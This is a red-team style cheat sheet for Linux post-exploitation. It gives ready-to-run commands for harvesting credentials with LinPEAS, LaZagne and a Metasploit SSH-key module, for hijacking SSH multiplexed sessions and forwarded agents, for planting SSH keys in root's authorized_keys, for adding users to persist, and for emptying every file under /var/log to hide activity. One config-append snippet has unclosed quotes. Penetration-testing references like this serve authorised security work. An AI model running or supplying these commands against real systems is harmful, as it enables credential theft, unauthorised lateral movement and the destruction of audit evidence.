Post exploitation

Credentials dumping

Automated credentials harvesting

The LinPEAS shell script and the LaZagne Python script (also provided as a standalone binary) can be used to harvest credentials locally stored on a Linux system. While more geared toward local privilege escalation, LinPEAS includes a number of credentials searches and is complimentary to LaZagne.

linpeas.sh -s -a

lazagne_linux all

SSH keys exfiltration

The metasploit module post/multi/gather/ssh_creds will collect the contents of all users' .ssh directories on the targeted machine. Additionally, known_hosts and authorized_keys and any other files are also downloaded.

msf > use post/multi/gather/ssh_creds

Lateral movement through SSH brute force is possible using private SSH keys, refer to the [L7] SSH note.

SSH hijacking

Established SSH sessions can be hijacked to move laterally using the hijacked user identity with out knowledge of its password or private key.

If SSH connection multiplexing, using the ControlMaster feature, or Agent forwarding are enabled, the SSH sessions stored on the compromised system can be hijacked:

  • connection multiplexing allows for the hijacking of SSH connections made from the compromised host

  • Agent forwarding allows for the hijacking of SSH connections made to the remote host

Prerequisites

ControlMaster

The SSH ControlMaster feature permits the multiplexing, the ability to send more than one signal over a single line or connection, of SSH connections. The feature can be enabled and configured both in global or local ssh_config: /etc/ssh/ssh_config or ~/.ssh/config. Note that ControlMaster is enabled by default.

If enabled, a control socket will be created on the file system and will be reused for future connections of the given user to the remote host with out needing a re-authentication. Control sockets are stored at the location specified by the ControlPath directive. The directive ControlPath /tmp/ssh-%r@%h:%p for example will result in control sockets stored in /tmp: /tmp/ssh-XXXXXXXXXXXX.

Note that control sockets will be removed automatically after the master connection has ended if the ControlPersist directive is not configured. Otherwise, if ControlPersist is specified and set to:

  • yes, then the master connection will remain open in the background to accept new connections until either killed explicitly or closed with -O ;

  • a time, then the master connection will remain open for the designated time or until the last multiplexed session is closed.

The ControlMaster feature can be enabled using the following commands:

# under Host *, which can be added if needed
echo "Host *" >> /etc/ssh/ssh_config
echo "    ControlMaster auto" >> /etc/ssh/ssh_config
echo "    ControlPersist yes
echo "    ControlPath /tmp/ssh-%r@%h:%p

Agent authentication and forwarding

ssh-agent is an helper program that implements an authentication mechanism used by OpenSSH as a form of SSO. The programs will hold in memory private keys used for public key authentication so that SSH connections can be made using the agent directly in order to avoid re entering the private key password for each connection.

For interfacing with the ssh client, the agent provides a UNIX socket at /tmp/ssh-<RANDOM>/agent.<AGENT_PID> and publishes it in the SSH_AUTH_SOCK environment variable.

When Agent Forwarding is enabled client-side, either using the AgentForward flag or calling ssh with the -A option, an SSH agent will be kept on the remote system accessed in SSH. This allows for a second connection, using SSH, from this first remote system to a second, or multiple, remote systems with out the need to deploy the private keys on the first remote system. The UNIX socket at /tmp/ssh-<RANDOM>/agent.<AGENT_PID> will thus be available on the first remote system.

Given sufficient permissions on the compromised system, such as root privileges, the socket agent can be hijacked in order to make SSH connection under the identity of the user running ssh-agent with out the need to have access to its private key (or know its private key password).

Connected SSH connections

While there is not direct and explicit way of showing all connected SSH connections, multiples commands can be used to enumerate active and past SSH connections using current process, TTY sessions or active network connections.

Note that w / who and lastlog will show all the TTY sessions including the terminal and SSH sessions. As the terminal and SSH connections both create a pseudo-terminal device pts, the utility can't be used to distinguish them.

The pspy tool can be used to monitor short lived SSH connections that could be made using automated utilities to remotely execute commands.

# Processes
# sshd: <USERNAME>@pts/1
pgrep -ai sshd
ps auxwww | grep sshd:

# Network connections
# Retrieve sshd port and then established network connection from the port, as shown in the example below
# 0.0.0.0:22              0.0.0.0:*               LISTEN      10/sshd
# x.x.x.x:22              x.x.x.x:40302           ESTABLISHED
netstat -anop

# Active connections
w 2>/dev/null
who -a

# Last connections
lastlog 2>/dev/null |grep -v "Never"

# sshd logs
cat /var/log/sshd.log | grep session
cat /var/log/sshd.log | grep session | grep <USERNAME>

# Short lived SSH connections
pspy
pspy64

If present, the control sockets should be accessible in the folder specified by the ControlPath directive in the global or local ssh_config.

Hijack an SSH connection

The following commands can be used to hijack an SSH agent deployed on the compromised server using Agent forwarding.

In order the find the username, PID and remote host of the SSH agent on the compromised system, the commands above can be used.

# pgrep / ps to find the PID of running sshd process
# netstat to identify the connection origin
# grep SSH_AUTH_SOCK /proc/<PID>/environ to retrieve the corresponding agent socket

export SSH_AUTH_SOCK="/tmp/<ssh-RANDOM>/<agent.PID>"
ssh -p <PORT> <USERNAME>@<HOSTNAME | IP>

Manage

SSH server deployment / configuration

SSH server installation / start

The following commands can be used to check whether an SSH server is already running on the system:

# Ubuntu / Debian / RedHat / CentOS / Fedora

# Retrieves the status of the ssh service on the system if the service is installed.
sudo systemctl status ssh

# Lists the processes running on the system and searches for processes related to SSH.
ps aux | grep -i ssh

# Lists the listening services.
netstat -laputen

If no SSH service is currently running, an SSH server (such as openssh-server) may still be installed on the targeted system:

# Ubuntu / Debian
dpkg -l | grep -i ssh

# RedHat / CentOS / Fedora
rpm -qa | grep -i ssh

If a SSH service is installed, it can be started using systemctl:

# Ubuntu / Debian / RedHat / CentOS

systemctl start ssh

systemctl restart ssh

systemctl stop ssh

SSH server configuration to allow authentication

In order to allow login, the configuration file of the SSH daemon (SSHD), usually located in /etc/ssh/sshd_config, may need to be modified to allow login of root or others users:

# SSHD config file.

# Allow login of the root account.
# If "AllowUsers" is defined further in the configuration file, it must specify "root" otherwise the root account will not be able to login (despite setting PermitRootLogin to yes).
# without-password: require login using an SSH key for the root account.
PermitRootLogin <yes | without-password>

# AllowUsers
# If specified with arguments, login are restricted to the define users.
# By default, AllowUsers is not specified and login is allowed for all users.
AllowUsers <root | <USERNAME>>

SSH Key Pair generation and deployment

On Linux operating systems, the ssh-keygen utility can be used to generate a key pair for SSH access:

# Generates a public (OUTPUT_FILE_PREFIX.pub) / private (OUTPUT_FILE_PREFIX) RSA key pair.
ssh-keygen -t rsa -b 4096 -f <OUTPUT_FILE_PREFIX>

# If necessary, set the required permissions on the key pair files. The following permissions should normally be set by default upon generation using ssh-keygen.
chmod 644 <PUBLIC_KEY_FILE>
chmod 600 <PRIVATE_KEY_FILE>

After generation, the public key should be added in the authorized_keys file of the associated user (for example, the /root/.ssh/authorized_keys file for the root user).

The ssh-copy-id utility can be used to automate the process, if authentication information of the targeted user are already known.

# Manual approach.
echo "<PUBLIC_KEY>" >> /root/.ssh/authorized_keys
echo "<PUBLIC_KEY>" >> <USER_DIRECTORY>/.ssh/authorized_keys

# Automated approach using ssh-copy-id
ssh-copy-id -i <PUBLIC_KEY_FILE> <USER>@<HOSTNAME | IP>

Persistence

Add local user with SUDOERS privileges

adduser <USERNAME>

# RedHat / CentOS / Fedora
passwd <USERNAME>

Defence evasion by logs clearing

It is advised to never directly delete the logs files, as it may cause operational issues with the demons using the log files. It is instead recommended to empty the files while preserving the files themselves.

This can be achieved with the following commands:

# Empty the specified log file.
cat /dev/null > <LOG_FILE_PATH>

# Recursively empty all the files in the /var/log directory.
for i in $(find /var/log -type f); do cat /dev/null > $i; done

References

https://en.wikibooks.org/wiki/OpenSSH/Cookbook/Multiplexing https://xorl.wordpress.com/2018/02/04/ssh-hijacking-for-lateral-movement/

Last updated